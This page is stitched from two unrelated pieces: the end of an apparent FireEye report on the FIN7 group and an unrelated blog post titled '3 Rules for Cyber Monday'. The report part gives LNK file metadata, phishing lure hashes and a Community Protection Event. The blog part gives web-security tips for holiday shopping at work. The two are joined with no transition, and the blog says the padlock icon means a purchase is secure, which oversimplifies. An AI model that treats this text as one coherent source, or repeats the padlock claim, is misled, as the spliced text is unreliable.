  • NetBIOS name: andy-pc
  • Droid volume identifier: e2c10c40-6f7d-4442-bcec-470c96730bca
  • Droid file identifier: a6eea972-0e2f-11e7-8b2d-0800273d5268
  • Birth droid volume identifier: e2c10c40-6f7d-4442-bcec-470c96730bca
  • Birth droid file identifier: a6eea972-0e2f-11e7-8b2d-0800273d5268
  • MAC address: 08:00:27:3d:52:68
  • UUID timestamp: 03/21/2017 (12:12:28.500) [UTC]
  • UUID sequence number: 2861

From this LNK file, we can see not only what the shortcut launched within the string data, but that the attacker likely generated this file on a VirtualBox system with hostname “andy-pc” on March 21, 2017.

Example Phishing Lures

  • Filename: Doc33.docx
  • MD5: 6a5a42ed234910121dbb7d1994ab5a5e
  • Filename: Mail.rtf
  • MD5: 1a9e113b2f3caa7a141a94c8bc187ea7

FIN7 April 2017 Community Protection Event

On April 12, in response to FIN7 actively targeting multiple clients, FireEye kicked off a Community Protection Event (CPE) – a coordinated effort by FireEye as a Service (FaaS), Mandiant, FireEye iSight Intelligence, and our product team – to secure all clients affected by this campaign.

3 Rules for Cyber Monday


3 Rules for Cyber Monday


It’s nearly here again folks, and the clues are all there: planning the office Christmas party, your boss humming Rudolph the Red Nosed Reindeer and an armada of Amazon packages arriving.

Which brings me nicely to the topic of this blog: online shopping at work.

It’s official; we are ‘in love’ with online shopping. At this time of the year, it’s harder to resist temptation. Retailers conjure up special shopping events like Black Friday and Cyber Monday - all aimed at getting us to part with our hard earned cash. While online retailers rub their hands in anticipation of December 1st, for companies without proper web security, the online shopping season could turn out to be the nightmare before Christmas.

In a recent survey by RetailMeNot, a digital coupon provider, 86 percent of working consumers admitted that they planned to spend at least some time shopping or browsing online for gifts during working hours on Cyber Monday. That equates to a whole lot of lost productivity and unnecessary pressure on your bandwidth.

To help prevent distraction and clogged bandwidth, I know of one customer, I’m sure there are others, who is allowing his employees time to shop from their desks in their lunch breaks. He’s a smart man - productivity stays high and employees happy.

But productivity isn’t the only concern for the IT department – cyber criminals are out in force at this time of year, trying to take advantage of big hearts and open wallets with spam and phishing emails. One click on a seemingly innocent link could take your entire network down.

To keep such bad tidings at bay, here’s a web security checklist to ensure your holiday season is filled with cheer not fear.

1.  Flexible Filtering. Set time quotas to allow online shopping access at lunchtimes, or outside of core hours. Whatever you decide is reasonable, make sure your employees are kept in the loop about what you classify as acceptable usage and communicate this through an Acceptable Usage Policy.

2.  Invest in Anti-malware and Anti-spam Controls. As inboxes start to fill with special offer emails, it gets more difficult to differentiate between legitimate emails and spam. These controls will go some way towards separating the wheat from the chaff.

3.  Issue Safety Advice to Your Employees. Ask employees to check the legitimacy of a site before purchasing anything. The locked padlock symbol indicates that the purchase is encrypted and secure. In addition, brief them to be alert for phishing scams and not to open emails, or click on links from unknown contacts.